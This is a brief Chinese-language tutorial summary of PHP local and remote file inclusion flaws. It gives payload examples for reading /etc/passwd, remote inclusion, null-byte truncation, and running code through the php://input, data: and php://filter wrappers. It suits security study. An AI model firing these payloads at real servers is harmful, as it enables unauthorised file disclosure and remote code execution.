| 
 
 参考博客:https://blog.csdn.net/Monsterlz123/article/details/93964916  
总结:  
一、原理 
include函数会把所包含文件里的代码当做php代码执行。所以我们可以在文件里写入代码目标进行操作,它不在意包含文件的类型。  
二、本地文件包含漏洞 
   这边我们可以对file进行传参,这个参数是可控的我们可以输入服务器本地文件的路径,来访问。  eg:  ?file=/etc/passwd  ?file=C:/test/hello.txt  
三、远程文件包含漏洞 
代码同上,但是我们的传参要改:  eg:  ?file=http://IP/test.txt  我们的代码里面可以是文本,也可以是我们的代码。  注意:%00可以用来截断后缀。截断需要php版本小于5.3.4,且关闭magic_quotes_gpc功能。也可以使用?来截断。  
四、PHP封装协议与文件包涵 
注意参数之间可以用&来输入多个参数  
1.file 协议用来访问本地文件系统 
注意: file:// 这个协议后需跟文件的绝对路径。  eg:  ?page=file://C:hello.txt  
2.PHP伪协议–php://input和data 
利用 PHP 伪协议可以使得本地文件包含执行自定义的 PHP 代码。  
-  
php://input (allow_url_include 为 on)  ?file=php://input POST 提交:<?php php代码 ?>   -  
data: (allow_url_include、allow_url_fopen 均为 on)  ?page=data:text/plain,<?php php代码 ?>  注意: data: 可以使用 base64 进行数据编码。  eg:data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b  后面的是base64编码,解码内容是:<?php phpinfo();?>     
这种相对适合php代码比较少的注入。  
3.PHP伪协议–php://filter 
- php://filter 是一种元封装器, 用于数据流打开时的筛选过滤应用。
 - 用法:
  php://filter/[read/write=<读/写的编码>]/resource=<要读或者写的文件>  eg:php://filter/read=convert.base64-encode/resource=show.txt  
                
                
                
        
        
    
 
 |